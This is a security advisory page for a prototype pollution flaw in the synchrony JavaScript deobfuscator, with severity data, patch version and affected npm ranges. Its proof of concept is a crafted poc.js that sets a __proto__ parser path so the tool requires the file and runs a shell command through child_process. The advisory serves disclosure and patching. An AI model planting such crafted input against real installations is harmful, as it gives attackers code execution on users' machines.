GHSA-jg82-xh3w-rhxx

Suggest an improvement
Source
https://github.com/advisories/GHSA-jg82-xh3w-rhxx
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/10/GHSA-jg82-xh3w-rhxx/GHSA-jg82-xh3w-rhxx.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-jg82-xh3w-rhxx
Aliases
Related
Published
2023-10-18T18:27:13Z
Modified
2023-11-08T04:13:39.475851Z
Severity
  • 7.8 (High) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution
Details

Impact

A __proto__ pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.

Summary

A __proto__ pollution vulnerability exists in the [LiteralMap] transformer allowing crafted input to modify properties in the Object prototype.

When executing in Node.js, due to use of the prettier module, defining a parser property on __proto__ with a path to a JS module on disk causes a require of the value which can lead to arbitrary code execution.

Patch

A fix has been released in deobfuscator@2.4.4.

Mitigation

Proof of Concept

Craft a malicious input file named poc.js as follows:

// Malicious code to be run after this file is imported. Logs the result of shell command "dir" to the console.
console.log(require('child_process').execSync('dir').toString())

// Synchrony exploit PoC
{
  var __proto__ = { parser: 'poc.js' }
}

Then, run synchrony poc.js from the same directory as the malicious file.

Credits

This vulnerability was found and disclosed by William Khem-Marquez.

Database specific
{
    "nvd_published_at": "2023-10-17T23:15:12Z",
    "cwe_ids": [
        "CWE-1321"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-18T18:27:13Z"
}
References

Affected packages

npm / deobfuscator

Package

Affected ranges

Type
SEMVER
Events
Introduced
2.0.1
Fixed
2.4.4